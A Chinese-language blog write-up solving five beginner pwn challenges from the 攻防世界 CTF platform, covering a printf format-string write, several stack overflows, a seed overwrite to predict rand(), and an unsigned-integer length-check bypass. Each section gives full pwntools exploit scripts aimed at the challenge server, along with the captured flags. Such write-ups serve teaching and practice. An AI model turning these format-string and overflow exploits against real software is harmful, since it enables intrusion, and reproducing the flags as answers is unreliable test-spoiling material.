(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

⭐学习网站


肝就vans了


ctfwiki


⭐CGfsb - printf格式化字符



拿到附件,首先对其进行查看 checksec e41a0f684d0e497f87bb309f91737e4d


checksec e41a0f684d0e497f87bb309f91737e4d
[*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

回顾一下:


Arch: 程序架构。 该程序是 x86-32位-小段字节序号


RELRO: 在程序启动时就解析所有动态符号/设置符号重定向表格(只读),来减少对GOT表的攻击


Stack:栈溢出保护


Nx:堆栈不可执行,即不可在栈上执行shellcode,要利用现成system等lib函数(如"\bin\sh")等


PIE:内存地址全随机化


所以,将附件拖入32bitIDA中。老规矩 F5 或 shitf+F12 查看。追踪到如下主函数:


  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }

显然,pwnme==8 是得到flag的关键。双击追踪:



显然pwnme被设置为全局变量,根据之前 NO PIE 可知,地址不会改变 0804A068


接下来,就是要确定偏移量。printf(&s); 即:printf格式化字符


详情可见大佬博客: 格式化字符串漏洞


因此,利用 如下,来确定偏移量。


aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x


编写exp


from pwn import *

p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068  #pwnme所在地址

p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')

payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n'  # b'a' * 0x4 四个字节用于填充
p.recvuntil("leave your message please:\n")
p.sendline(payload)

p.interactive()


由于p32(addr_pwnme)占4个字节,而我们要让其==8,必须给他再填充4个字节


%10$n 这里偏移量为10,%10$n 意思为 取第10个参数中的内容,以内容为地址写入整体字符串的长度



cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}

⭐when_did_you_born - 溢出



checksec 查看


root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
[*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


拖入IDA64中,选择main函数 F5


查看伪码



显然我们要利用v4变量所在gets函数,通过覆盖v5原本值,来实现v5值为1926。


因此,下一步就是确定v5/v4 变量所在地址:(双击查看)



编写exp


from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0  #0/1切换本地调试
def main():
    if content == 1:
        J1ay = process("when_did_you_born")
    else:
        J1ay = remote("111.200.241.244",46071)

    payload = b'a' * (0x20-0x18) + p64(1926) #1926覆盖值,(0x20-0x18)为v4和v5地址差值(偏移量)

    J1ay.recvuntil("What's Your Birth?\n")
    J1ay.sendline("2021")

    J1ay.recvuntil("What's Your Name?\n")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

即可获取



cyberpeace{65c64869ab65a0a82e11229c74b23e9e}

⭐hello_pwn - 溢出



同上题解法。简单看一下IDA


puts("~~ welcome to ctf ~~     ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);

只需实现 dword_60106C == 1853186401 。跟上题类似。



可构造 payload = b'a' *(0x6C-0x68) 偏移量


payload = payload + p64(1853186401) 将 1853186401 数据 填充进去。


编写exp


from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
    if content == 1:
        J1ay = process("hello_pwn")
    else:
        J1ay = remote("111.200.241.244",42801)

    payload = b'a' * (0x6c-0x68) + p64(1853186401)
    
    #J1ay.recvuntil("lets get helloworld for bof\n")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

得到


cyberpeace{af41f61a47e0f993edc71bb012877046}

⭐guess_num - 随机数-溢出



拿到附件,首先 checksec 一下


root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
[*] '/mnt/c/Users/11145/Desktop/guess_num'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

拖进 64IDA中,


puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
        puts("GG!");
        exit(1);
    }
    puts("Success!");
}
sub_C3E();
return 0LL;

sub_C3E() 函数


__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}

显然,在这里拿到flag。


现在来看主函数:



双击 gets ,追踪到 seed


0000000000000030 var_30          db ?
............................................
0000000000000010 seed            dd 2 dup(?)

发现需 0x30-0x10 即覆盖20个地址,就可到 seed[0]


进入循环,导入 from ctypes import *


利用 cdll.LoadLibrary("libc.so.6") 根据如下随机数产生代码

for ( i = 0; i <= 9; ++i ) // 循环10遍
{
	v6 = rand() % 6 + 1;
 .....................
}

编写exp


from pwn import *
from ctypes import *

p = remote('111.200.241.244',38649)

# 随机数循环
def srand():
    libc = cdll.LoadLibrary('libc.so.6')
    libc.srand(1)
    for i in range(10):
        p.recvuntil("Please input your guess number:")
        p.sendline(str(libc.rand()%6+1))

# gets函数覆盖
p.recvuntil('Your name:')
payload = b'a' * (0x30 - 0x10) + p64(1)
p.sendline(payload)

# 随机数循环
srand()

p.interactive()


⭐int_overflow - 无符号整型溢出



checksec 查看


root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
[*] '/mnt/c/Users/11145/Desktop/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖进IDA32里,查看 -- 主函数


 puts("---------------------");
 puts("~~ Welcome to CTF! ~~");
 puts("       1.Login       ");
 puts("       2.Exit        ");
 puts("---------------------");
 printf("Your choice:");
 __isoc99_scanf("%d", &v4);
 if ( v4 == 1 )
 {
 login();
 }
 else
 {
 if ( v4 == 2 )
 {
 puts("Bye~");
 exit(0);
 }
 puts("Invalid Choice!");
 }


显然令v4=1,进入函数login


char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}


函数check_passwd()


char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

以及发现 命令 cat flag ,也就是说,只要我们确定偏移量,将返回地址覆盖到 804868B 即可拿到flag。



分析:


在函数check_passwd()


显然可见


strcpy(&dest, s)


将 s 拷贝到dest,s是传入的password。


如下: 只需 0x14+4 个字节就可溢出。



当然,有个问题就是,开头对传入的s长度 v3 进行了校验,u 代表此为 无符号整型,长度必须在 4u-8u 间,但是我们需要18个字节,如何绕开?


无符号整型范围为 0~65535 ,则我们可以利用无符号整型溢出,来实现绕过。


具体可以参照这篇大佬博客 c语言的整型溢出问题


简单来说,就是溢出的值会与256求模,得到最终结果。


因此,本是 4--8,等价于 255+3 -- 255+8,即在259--263内就可实现绕过


编写exp


from pwn import *

p = remote('111.200.241.244',52479)

p.recvuntil('Your choice:')
p.sendline("1")

p.recvuntil('Please input your username:\n')
p.sendline('J1ay')

payload = b'a' * (0x14 + 4) + p32(0x0804868B)
# v3取值在259-263
v3 = 259 
payload += b'a'*(v3 - len(payload))
p.recvuntil('Please input your passwd:\n')
p.sendline(payload)

p.interactive()


关于以上链接引用【侵权删】


若有错误之处,还请多多指正~~


【转载请放链接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html

posted @ 2021-02-22 11:52  J1ay  阅读(1204)  评论(0编辑  收藏  举报